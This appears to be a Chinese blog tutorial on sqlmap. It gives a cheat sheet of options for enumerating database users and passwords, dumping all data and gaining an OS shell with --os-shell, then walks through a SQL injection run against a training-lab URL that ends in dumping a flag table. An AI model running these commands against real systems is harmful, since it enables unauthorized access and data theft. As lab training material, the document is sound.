首先贴上sqlmap语法:
基本语法:
sqlmap -u url --users :查看数据库所有用户
sqlmap -u url --passwords :查看数据库所有用户密码
sqlmap -u url :判断注入点
sqlmap -u url --current-dbs :查看当前所有数据库
sqlmap -u url --current-user :查看数据库当前的用户
sqlmap -u url --is-dba :判断当前用户是否有管理员权限
sqlmap -u url --roles :列出数据库所有管理员角色
sqlmap -u url --current-db :查看当前数据库
sqlmap -u url -D 库名 --tables :爆表
sqlmap -u url -D 库名 -T 表明 --columns :爆字段
sqlmap -u url -D 库名 -T 表明 --C 字段名1,字段名2 --dump :爆数据
sqlmap -u url -D 库名 --dump-all :爆出数据库中所有数据
常见指令:
1.--random-agent 随机头
2.--delay=1 每次探测延时1秒
3.--count 查看数据量
4.--proxy"http:127.0.0.1:1080" 使用本地1080端口
5.--level 1-5测试等级(最低1,最高5)等级越高检测越详细,比如level大于2会检测cookie注入。大于3会检测头注入
6.--risk 2 sqlmap语句的复杂度
7.--is-dba 判断当前用户是否有管理员权限
8.--os-shell 直接获取目标的cmd权限(前提是当前用户有管理员权限)
9.--flush-session 清缓存
接下来sqlmap跑上篇文章 SQL注入-显错注入Rank 1](https://blog.csdn.net/purvispanwu/article/details/122016193)的链接
http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1
1.sqlmap 安装不做介绍,需要安装先python
python2 sqlmap.py -u http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1
获取注入点
如下图:sqlmap识别存在盲注和联合查询
Type: time-based blind
Type: UNION query
接下来我们获取库名
python2 sqlmap.py -u http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 --dbs
得到数据库:
available databases [6]:
error
head_error
information_schema
kanwolongxia
post_error
widechar
接下来指定库名来获取表名:
python2 sqlmap.py -u http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 -D error --tables
表名:
Database: error
[2 tables]
±-----------+
| user |
| error_flag |
±-----------+
接下可以指定数据库名、表名获取字段名
python2 sqlmap.py -u http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 -D error -T error_flag --columns
字段名:
Database: error
Table: error_flag
[2 columns]
±-------±-------------+
| Column | Type |
±-------±-------------+
| flag | varchar(255) |
| Id | int(11) |
±-------±-------------+
接下来获取数据:
python2 sqlmap.py -u http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 -D error --dump
获取数据库error的全部数据